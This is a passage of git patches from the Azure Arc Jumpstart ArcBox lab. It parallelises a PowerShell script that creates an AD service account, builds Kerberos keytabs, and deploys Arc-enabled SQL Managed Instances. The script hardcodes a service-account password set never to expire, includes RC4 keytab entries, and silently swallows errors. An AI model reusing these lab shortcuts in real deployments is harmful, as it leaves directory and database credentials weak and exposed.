'logAnalyticsPrimaryKey-stage', $workspaceKey | Set-Content -Path $dataControllerParams + + az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + Write-Host "`n" + + Do { + Write-Host "Waiting for data controller. Hold tight, this might take a few minutes..." + Start-Sleep -Seconds 45 + $dcStatus = $(if (kubectl get datacontroller -n arc --kubeconfig $cluster.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($dcStatus -eq "Nope") + Write-Host "Azure Arc data controller is ready!" + Write-Host "`n" + Remove-Item "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" -Force + Stop-Transcript + } Write-Header "Deploying SQLMI" # Deploy SQL MI data services diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 74dce0edaf..9a104f69fd 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -92,218 +92,208 @@ $filename = "SQLMIEndpoints.txt" $file = New-Item -Path $Env:ArcBoxDir -Name $filename -ItemType "file" $Endpoints = $file.FullName -foreach ($sqlInstance in $sqlInstances) { - - Start-Job -Name arcbox -ScriptBlock { - $ErrorActionPreference = 'SilentlyContinue' - $WarningPreference = 'SilentlyContinue' - $dcInfo = $using:dcInfo - $Endpoints = $using:Endpoints - $sqlmiOUDN = $using:sqlmiOUDN - $sqlInstances = $using:sqlInstances - $sqlmi_port = $using:sqlmi_port - $sqlInstance = $using:sqlInstance - $context = $sqlInstance.context - - Start-Transcript -Path "$Env:ArcBoxLogsDir\SQLMI-$context.log" - - $sqlInstance = $using:sqlInstance - $sqlMIName = $sqlInstance.instanceName - $sqlmi_fqdn_name = $sqlMIName + "." + $dcInfo.domain - $sqlmi_secondary_fqdn_name = $sqlMIName + "-secondary." + $dcInfo.domain - - # Create dedicated service account for AD connector - $arcsaname = "sa-$sqlMIName" - $arcsapass = "ArcDSA#Pwd123$" - $arcsasecpass = $arcsapass | ConvertTo-SecureString -AsPlainText -Force - $sqlmisaupn = $arcsaname + "@" + $dcInfo.domain - - $samaccountname = $arcsaname - $domain_netbios_name = $dcInfo.domain.split('.')[0].ToUpper(); - $domain_name = $dcInfo.domain.ToUpper() - - try { - New-ADUser -Name $arcsaname ` - -UserPrincipalName $sqlmisaupn ` - -Path $sqlmiOUDN ` - -AccountPassword $arcsasecpass ` - -Enabled $true ` - -ChangePasswordAtLogon $false ` - -PasswordNeverExpires $true - } - catch { - # User already exists - Write-Host "User $arcsaname already existings in the directory." - } - - Start-Sleep -Seconds 10 - # Geneate key tab - try { - setspn -A MSSQLSvc/${sqlmi_fqdn_name} ${domain_netbios_name}\${samaccountname} - setspn -A MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} - - # Secondary instance spn - setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name} ${domain_netbios_name}\${samaccountname} - setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} - - $keytab_file = "$Env:ArcBoxDir\$sqlMIName.keytab" - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - - # Generate Keytab for secondary - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - - ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - # Convert key tab file into base64 data - $keytabrawdata = Get-Content $keytab_file -Encoding byte - $b64keytabtext = [System.Convert]::ToBase64String($keytabrawdata) - # Grant permission to DSA account on SQLMI OU - } - catch{ - - } - - - Start-Sleep -Seconds 10 - - Copy-Item "$Env:ArcBoxDir\adConnector.parameters.json" -Destination "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - $adConnectorParams = "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - $adConnectorName = $sqlInstance.dataController + "/adarc" - $serviceAccountProvisioning = "manual" - (Get-Content -Path $adConnectorParams) -replace 'connectorName-stage', $adConnectorName | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'domainController-stage', $dcInfo.HostName | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'netbiosDomainName-stage', $domain_netbios_name | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'realm-stage', $dcInfo.domain.ToUpper() | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'serviceAccountProvisioning-stage', $serviceAccountProvisioning | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'domainName-stage', $dcInfo.domain.Tolower() | Set-Content -Path $adConnectorParams - - az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\adConnector.json" --parameters "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - Write-Host "`n" - Do { - Write-Host "Waiting for AD connector deployment. Hold tight, this might take a few minutes...(30s sleeping loop)" - Start-Sleep -Seconds 30 - $adcStatus = $(if (kubectl get adc adarc -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($adcStatus -eq "Nope") - Write-Host "`n" - Write-Host "Azure Arc AD connector ready!" - Write-Host "`n" +$sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { + $ErrorActionPreference = 'SilentlyContinue' + $WarningPreference = 'SilentlyContinue' + $sqlInstance = $_ + $dcInfo = $using:dcInfo + $Endpoints = $using:Endpoints + $sqlmiOUDN = $using:sqlmiOUDN + $sqlmi_port = $using:sqlmi_port + $context = $sqlInstance.context - Remove-Item "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" -Force - - # Deploying Azure Arc SQL Managed Instance - - Write-Host "Deploying Azure Arc SQL Managed Instance" - $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $sqlInstance.dataController --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) - $customLocationId = $(az customlocation show --name $sqlInstance.customLocation --resource-group $Env:resourceGroup --query id -o tsv) - - ################################################ - # Localize ARM template - ################################################ - $ServiceType = "LoadBalancer" - $readableSecondaries = $ServiceType - - # Resource Requests - $vCoresRequest = "2" - $memoryRequest = "4Gi" - $vCoresLimit = "4" - $memoryLimit = "8Gi" - - # Storage - $StorageClassName = $sqlInstance.storageClassName - $dataStorageSize = "30Gi" - $logsStorageSize = "30Gi" - $dataLogsStorageSize = "30Gi" - - # High Availability - $replicas = 3 # Deploy SQL MI "Business Critical" tier - ####################################################### - - - - Copy-Item "$Env:ArcBoxDir\sqlmiAD.parameters.json" -Destination "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - $SQLParams = "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - -(Get-Content -Path $SQLParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataControllerId-stage', $dataControllerId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'azdataUsername-stage', $env:AZDATA_USERNAME | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'azdataPassword-stage', $env:AZDATA_PASSWORD | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'serviceType-stage', $ServiceType | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'readableSecondaries-stage', $readableSecondaries | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'vCoresRequest-stage', $vCoresRequest | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'memoryRequest-stage', $memoryRequest | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'vCoresLimit-stage', $vCoresLimit | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'memoryLimit-stage', $memoryLimit | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'logsStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataLogStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataSize-stage', $dataStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'logsSize-stage', $logsStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataLogSize-stage', $dataLogsStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'replicasStage' , $replicas | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'sqlInstanceName-stage' , $sqlInstance.instanceName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'keyTab-stage' , $b64keytabtext | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'adAccountName-stage' , $arcsaname | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'adConnectorName-stage' , "adarc" | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dnsName-stage' , $sqlmi_fqdn_name | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dnsNameSecondary-stage' , $sqlmi_secondary_fqdn_name | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'port-stage' , $sqlmi_port | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'licenseType-stage' , $sqlInstance.licenseType | Set-Content -Path $SQLParams - - az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\sqlmiAD.json" --parameters "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - Write-Host "`n" + Start-Transcript -Path "$Env:ArcBoxLogsDir\SQLMI-$context.log" - Do { - Write-Host "Waiting for SQL Managed Instance. Hold tight, this might take a few minutes...(45s sleeping loop)" - Start-Sleep -Seconds 45 - $dcStatus = $(if (kubectl get sqlmanagedinstances -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc SQL Managed Instance is ready!" - Write-Host "`n" + $sqlMIName = $sqlInstance.instanceName + $sqlmi_fqdn_name = $sqlMIName + "." + $dcInfo.domain + $sqlmi_secondary_fqdn_name = $sqlMIName + "-secondary." + $dcInfo.domain - Remove-Item "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" -Force + # Create dedicated service account for AD connector + $arcsaname = "sa-$sqlMIName" + $arcsapass = "ArcDSA#Pwd123$" + $arcsasecpass = $arcsapass | ConvertTo-SecureString -AsPlainText -Force + $sqlmisaupn = $arcsaname + "@" + $dcInfo.domain - # Create windows account in SQLMI to support AD authentication and grant sysadmin role - $podname = "${sqlMIName}-0" - kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "CREATE LOGIN [${domain_netbios_name}\$env:adminUsername] FROM WINDOWS" - Write-Host "Created Windows user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + $samaccountname = $arcsaname + $domain_netbios_name = $dcInfo.domain.split('.')[0].ToUpper(); + $domain_name = $dcInfo.domain.ToUpper() - kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "EXEC master..sp_addsrvrolemember @loginame = N'${domain_netbios_name}\$env:adminUsername', @rolename = N'sysadmin'" - Write-Host "Granted sysadmin role to user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + try { + New-ADUser -Name $arcsaname ` + -UserPrincipalName $sqlmisaupn ` + -Path $sqlmiOUDN ` + -AccountPassword $arcsasecpass ` + -Enabled $true ` + -ChangePasswordAtLogon $false ` + -PasswordNeverExpires $true + } + catch { + # User already exists + Write-Host "User $arcsaname already existings in the directory." + } - # Downloading demo database and restoring onto SQL MI - if ($sqlMIName -eq "capi-sql") { - Write-Host "`n" - Write-Host "Downloading AdventureWorks database for MS SQL... (1/2)" - kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- wget https://github.com/Microsoft/sql-server-samples/releases/download/adventureworks/AdventureWorks2019.bak -O /var/opt/mssql/data/AdventureWorks2019.bak 2>&1 | Out-Null - Write-Host "Restoring AdventureWorks database for MS SQL. (2/2)" - kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $Env:AZDATA_USERNAME -P "$Env:AZDATA_PASSWORD" -Q "RESTORE DATABASE AdventureWorks2019 FROM DISK = N'/var/opt/mssql/data/AdventureWorks2019.bak' WITH MOVE 'AdventureWorks2019' TO '/var/opt/mssql/data/AdventureWorks2019.mdf', MOVE 'AdventureWorks2019_Log' TO '/var/opt/mssql/data/AdventureWorks2019_Log.ldf'" 2>&1 $null - Write-Host "Restoring AdventureWorks database completed." - } + Start-Sleep -Seconds 10 + # Geneate key tab + try { + setspn -A MSSQLSvc/${sqlmi_fqdn_name} ${domain_netbios_name}\${samaccountname} + setspn -A MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} + + # Secondary instance spn + setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name} ${domain_netbios_name}\${samaccountname} + setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} + + $keytab_file = "$Env:ArcBoxDir\$sqlMIName.keytab" + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + + # Generate Keytab for secondary + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + + ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + # Convert key tab file into base64 data + $keytabrawdata = Get-Content $keytab_file -Encoding byte + $b64keytabtext = [System.Convert]::ToBase64String($keytabrawdata) + # Grant permission to DSA account on SQLMI OU + } + catch{ - Stop-Transcript } -} -while ($(Get-Job -Name arcbox).State -eq 'Running') { - Receive-Job -Name arcbox -WarningAction SilentlyContinue - Start-Sleep -Seconds 5 -} + Start-Sleep -Seconds 10 + + Copy-Item "$Env:ArcBoxDir\adConnector.parameters.json" -Destination "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + $adConnectorParams = "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + $adConnectorName = $sqlInstance.dataController + "/adarc" + $serviceAccountProvisioning = "manual" + (Get-Content -Path $adConnectorParams) -replace 'connectorName-stage', $adConnectorName | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'domainController-stage', $dcInfo.HostName | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'netbiosDomainName-stage', $domain_netbios_name | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'realm-stage', $dcInfo.domain.ToUpper() | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'serviceAccountProvisioning-stage', $serviceAccountProvisioning | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'domainName-stage', $dcInfo.domain.Tolower() | Set-Content -Path $adConnectorParams + + az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\adConnector.json" --parameters "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + Write-Host "`n" + Do { + Write-Host "Waiting for AD connector deployment. Hold tight, this might take a few minutes...(30s sleeping loop)" + Start-Sleep -Seconds 30 + $adcStatus = $(if (kubectl get adc adarc -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($adcStatus -eq "Nope") + + Write-Host "`n" + Write-Host "Azure Arc AD connector ready!" + Write-Host "`n" + + Remove-Item "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" -Force + + # Deploying Azure Arc SQL Managed Instance + + Write-Host "Deploying Azure Arc SQL Managed Instance" + $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $sqlInstance.dataController --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) + $customLocationId = $(az customlocation show --name $sqlInstance.customLocation --resource-group $Env:resourceGroup --query id -o tsv) + + ################################################ + # Localize ARM template + ################################################ + $ServiceType = "LoadBalancer" + $readableSecondaries = $ServiceType + + # Resource Requests + $vCoresRequest = "2" + $memoryRequest = "4Gi" + $vCoresLimit = "4" + $memoryLimit = "8Gi" + + # Storage + $StorageClassName = $sqlInstance.storageClassName + $dataStorageSize = "30Gi" + $logsStorageSize = "30Gi" + $dataLogsStorageSize = "30Gi" + + # High Availability + $replicas = 3 # Deploy SQL MI "Business Critical" tier + ####################################################### + + + + Copy-Item "$Env:ArcBoxDir\sqlmiAD.parameters.json" -Destination "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + $SQLParams = "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + + (Get-Content -Path $SQLParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataControllerId-stage', $dataControllerId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'azdataUsername-stage', $env:AZDATA_USERNAME | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'azdataPassword-stage', $env:AZDATA_PASSWORD | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'serviceType-stage', $ServiceType | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'readableSecondaries-stage', $readableSecondaries | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'vCoresRequest-stage', $vCoresRequest | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'memoryRequest-stage', $memoryRequest | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'vCoresLimit-stage', $vCoresLimit | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'memoryLimit-stage', $memoryLimit | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'logsStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataLogStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataSize-stage', $dataStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'logsSize-stage', $logsStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataLogSize-stage', $dataLogsStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'replicasStage' , $replicas | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'sqlInstanceName-stage' , $sqlInstance.instanceName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'keyTab-stage' , $b64keytabtext | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'adAccountName-stage' , $arcsaname | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'adConnectorName-stage' , "adarc" | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dnsName-stage' , $sqlmi_fqdn_name | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dnsNameSecondary-stage' , $sqlmi_secondary_fqdn_name | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'port-stage' , $sqlmi_port | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'licenseType-stage' , $sqlInstance.licenseType | Set-Content -Path $SQLParams + + az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\sqlmiAD.json" --parameters "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + Write-Host "`n" + + Do { + Write-Host "Waiting for SQL Managed Instance. Hold tight, this might take a few minutes...(45s sleeping loop)" + Start-Sleep -Seconds 45 + $dcStatus = $(if (kubectl get sqlmanagedinstances -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($dcStatus -eq "Nope") + Write-Host "Azure Arc SQL Managed Instance is ready!" + Write-Host "`n" + + Remove-Item "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" -Force + + # Create windows account in SQLMI to support AD authentication and grant sysadmin role + $podname = "${sqlMIName}-0" + kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "CREATE LOGIN [${domain_netbios_name}\$env:adminUsername] FROM WINDOWS" + Write-Host "Created Windows user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + + kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "EXEC master..sp_addsrvrolemember @loginame = N'${domain_netbios_name}\$env:adminUsername', @rolename = N'sysadmin'" + Write-Host "Granted sysadmin role to user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + + # Downloading demo database and restoring onto SQL MI + if ($sqlMIName -eq "capi-sql") { + Write-Host "`n" + Write-Host "Downloading AdventureWorks database for MS SQL... (1/2)" + kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- wget https://github.com/Microsoft/sql-server-samples/releases/download/adventureworks/AdventureWorks2019.bak -O /var/opt/mssql/data/AdventureWorks2019.bak 2>&1 | Out-Null + Write-Host "Restoring AdventureWorks database for MS SQL. (2/2)" + kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $Env:AZDATA_USERNAME -P "$Env:AZDATA_PASSWORD" -Q "RESTORE DATABASE AdventureWorks2019 FROM DISK = N'/var/opt/mssql/data/AdventureWorks2019.bak' WITH MOVE 'AdventureWorks2019' TO '/var/opt/mssql/data/AdventureWorks2019.mdf', MOVE 'AdventureWorks2019_Log' TO '/var/opt/mssql/data/AdventureWorks2019_Log.ldf'" 2>&1 $null + Write-Host "Restoring AdventureWorks database completed." + } -Get-Job -name arcbox | Remove-Job + Stop-Transcript +} Start-Transcript -Path "$Env:ArcBoxLogsDir\DeploySQLMIADAuth.log" -Append Write-Header "Generating endpoints file" +Write-Host "`n" + foreach ($sqlInstance in $sqlInstances){ # Retrieving SQL MI connection endpoint From 86ea211b1c337f4be39497b9f3fe12dc652ebe2f Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 09:34:00 +0200 Subject: [PATCH 045/506] Update publicIPAddress assignments --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json | 2 +- azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json | 2 +- azure_jumpstart_arcbox/ARM/mgmt/addsVm.json | 2 +- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 4 ++-- azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep | 8 ++------ azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep | 2 +- .../bicep/kubernetes/ubuntuRancher.bicep | 2 +- azure_jumpstart_arcbox/bicep/main.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep | 6 +++--- 10 files changed, 17 insertions(+), 18 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 87839f663c..10ad970092 100644 --- 